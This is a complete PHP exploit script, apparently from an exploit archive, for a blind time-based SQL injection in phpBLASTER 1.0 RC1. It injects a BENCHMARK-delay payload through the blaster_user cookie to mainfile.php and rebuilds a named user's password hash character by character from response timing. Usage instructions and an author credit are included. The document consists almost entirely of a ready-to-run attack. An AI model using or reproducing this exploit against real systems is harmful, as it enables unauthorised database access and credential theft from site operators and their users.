phpBLASTER 1.0 RC1 SQL Injection

`--+++============================================================+++--  
--+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++--  
--+++============================================================+++--  
  
<?php  
  
function query ($username, $pos, $chr)  
{  
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM".  
" blaster_users WHERE username ='{$username}'),{$pos},1))={$chr}),BENCHMARK".  
"(200000000,CHAR(0)),0) OR 'x' = 'y";  
$query = str_replace (" ", "%20", $query);  
$query = str_replace ("'", "%27", $query);  
return $query;  
}  
  
function exploit ($hostname, $path, $username, $pos, $chr)  
{  
$chr = ord ($chr);  
$conn = fsockopen ($hostname, 80);  
  
$request = "GET {$path}/html/mainfile.php HTTP/1.1\r\n".  
"Host: {$hostname}\r\n".  
"Cookie: blaster_user=" . query ($username, $pos, $chr) . "\r\n".  
"Connection: Close\r\n\r\n";  
  
$time_a = time ();  
  
fputs ($conn, $request);  
while (!feof ($conn))  
fgets ($conn, 1024);  
  
$time_b = time ();  
  
fclose ($conn);  
  
if ($time_b - $time_a > 4)  
return true;  
else  
return false;  
}  
  
function run ($hostname, $path, $username)  
{  
$key = "abcdef0123456789";  
$chr = 0;  
$pos = 1;  
echo "[+] Password: ";  
while ($pos <= 32)  
{  
if (exploit ($hostname, $path, $username, $pos, $key [$chr]))  
{  
echo $key [$chr];  
$chr = 0;  
$pos++;  
}  
else  
$chr++;  
}  
echo "\n\n";  
}  
  
function usage ()  
{  
exit (  
"\nphpBLASTER 1.0 RC1 Blind SQL Injection Exploit".  
"\n[+] Author : darkjoker".  
"\n[+] Site : http://darkjoker.net23.net".  
"\n[+] CMS Site : http://phpblaster.org".  
"\n[+] Usage : php xpl.php <hostname> <path> <username>".  
"\n[+] Ex. : php xpl.php localhost /phpBLASTER root".  
"\n\n");  
}  
  
  
  
if ($argc != 4)  
usage ();  
  
$hostname = $argv [1];  
$path = $argv [2];  
$username = $argv [3];  
  
run ($hostname, $path, $username);  
  
?>  
  
`